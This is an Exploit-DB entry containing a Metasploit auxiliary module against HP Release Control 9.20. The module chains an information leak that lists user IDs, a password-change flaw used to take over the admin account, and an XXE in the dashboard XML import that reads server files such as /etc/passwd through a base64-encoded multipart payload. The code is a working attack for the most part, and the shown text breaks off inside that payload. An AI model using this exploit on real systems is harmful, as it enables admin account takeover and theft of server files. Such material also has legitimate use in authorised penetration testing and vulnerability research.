Exploit-DB #33434
Description: HP Release Control - (Authenticated) XML External Entity (Metasploit)
Type: webapps
Platform: windows
Date: 2014-05-19
Author: Brandon Perry

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP Release Control Authenticated XXE',
      'Description'    => %q{
      This module take advantage of three separate vulnerabilities in order to
      read an arbitrary text file from the file system with the privileges
      of the web server. You must be authenticated, but can be unprivileged
      since a privilege escalation vulnerability is used. Tested against
      HP Release Control 9.20.0000, Build 395 installed with demo data.

      The first vulnerability allows an unprivileged authenticated user to list 
      the current users, their IDs, and even their password hashes. Can't login
      with hashes, but the ID is useful in the second vulnerability.

      When a user changes their password, they post the ID of the user who 
      is going to have their password changed. Just replace it with the 
      admin ID and you change the admin password. You are now admin.

      The third vulnerability is an XXE in the dashboard XML import mechanism.
      This is what allows you to read the file from the file system.

      This module is super ghetto half because it was an AMF application,
      half because I worked on it longer than I wanted to.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Brandon Perry <bperry.volatile [at] gmail.com>'
        ],
      'References'     =>
        [
        ],
      'DisclosureDate' => 'May 16 2014'
    ))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "Base directory path", '/']),
        OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"]),
        OptString.new('USERNAME', [true, "The username to authenticate with", "username"]),
        OptString.new('PASSWORD', [true, "The password to authenticate with", "password"])
      ], self.class)
  end

  def check
  end

  def run
    print_status("Authenticating")

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path)
    })

    cookie = res.get_cookies

    post = {
      'j_username' => datastore['USERNAME'],
      'j_password' => datastore['PASSWORD'],
      'buttonName' => ''
    }

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ccm', 'j_spring_security_check'),
      'method' => 'POST',
      'vars_post' => post,
      'cookie' => cookie
    })

    if res and res.headers['Location'] !~ /index.jsp/
      fail_with("Authentication failed")
    end

    cookie = res.get_cookies

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ccm', 'index.jsp'),
      'cookie' => cookie
    })

    cookie = cookie + res.get_cookies

    #not sure why this always fails the first time. Whatever.
    id = nil
    while id == nil
      id = get_admin_id(cookie)
    end

    print_status("Found admin id: " + id)
    print_status("Changing admin's password...")

    [CREDENTIAL_REDACTED]_admin_password(cookie, id)
    print_status("Changed admin password to: " + password)

    post = {
      'j_username' => 'admin',
      'j_password' => password,
      'buttonName' => ''
    }

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path)
    })

    cookie = res.get_cookies

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ccm', 'j_spring_security_check'),
      'method' => 'POST',
      'vars_post' => post,
      'cookie' => cookie
    })

    if res.headers['Location'] !~ /index.jsp/
      fail_with("Login failed")
    end

    cookie = res.get_cookies

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ccm', 'index.jsp'),
      'cookie' => cookie
    })

    cookie = cookie + res.get_cookies

    post = {
      'com.mercury.dashboard.screen_resolution_width' => 2560,
      'com.mercury.dashboard.arch.fieldtree.date.timeZone' => 300,
      'com.mercury.dashboard.arch.fieldtree.date.zeroTimeUser' =>[PII_REDACTED]481
    }

    #need to send this so that the next request doesn't fail
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ccm', 'dashboard', 'app', 'portal', 'PageView.jsp'),
      'method' => 'POST',
      'vars_post' => post,
      'cookie' => cookie
    })

    print_status("Exploiting XXE...")

    data = Rex::Text::decode_base64("LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNDYyNzA3NjY3MTQ4MjQ1MjA2MDQ2NjQ5OTkyNg0KQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJjb20ubWVyY3VyeS5kYXNoYm9hcmQuYXJjaC5maWVsZHRyZWUuZm9ybUZvckZpZWxkdHJlZS4iDQoNClkNCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tMTQ2MjcwNzY2NzE0ODI0NTIwNjA0NjY0OTk5MjYNCkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0iLmltcG9ydEZyb21GaWxlIjsgZmlsZW5hbWU9IkRhc2hib2FyZF9PYmplY3RzX0V4cG9ydF8yMDE0MDUxNC54bWwiDQpDb250ZW50LVR5cGU6IHRleHQveG1sDQoNCjw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04IiBzdGFuZGFsb25lPSJubyI/Pgo8IURPQ1RZUEUgZm9vIFsKICAgPCFFTEVNRU5UIGZvbyBBTlkgPgogICA8IUVOVElUWSB4eGUgU1lTVEVNICJmaWxlOi8vL2V0Yy9wYXNzd2QiID5dPgo8RXhwb3J0TGlzdCB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIj48dmVyc2lvbj4yPC92ZXJzaW9uPjxNb2R1bGU+PG5hbWU+UmVsZWFzZSBDb250cm9sIERlZmF1bHQgTW9kdWxlPC9uYW1lPjx1dWlkPjU4NmRjNThhZjQ5ZTJmNGU6ZmY5ODA1OjEwYTYwODEzMDM3Oi03ZmZjPC91dWlkPjxkZXNjcmlwdGlvbj4meHhlOzwvZGVzY3JpcHRpb24+PGVuYWJsZWQ+dHJ1ZTwvZW5hYmxlZD48YWxsb3dTZWxmU2VydmljZT5mYWxzZTwvYWxsb3dTZWxmU2VydmljZT48Y29waWFibGU+dHJ1ZTwvY29waWFibGU+PGFsbFVzZXJzQWNjZXNzPnRydWU8L2FsbFVzZXJzQWNjZXNzPjxwYWdlPjxwYWdlU2VxdWVuY2U+MDwvcGFnZVNlcXVlbmNlPjx0aXRsZT5UcmVuZHM8L3RpdGxlPjxwb3J0bGV0Pjx0aXRsZT5MYXRlbnQgQ2hhbmdlcyBPdmVyIFRpbWU8L3R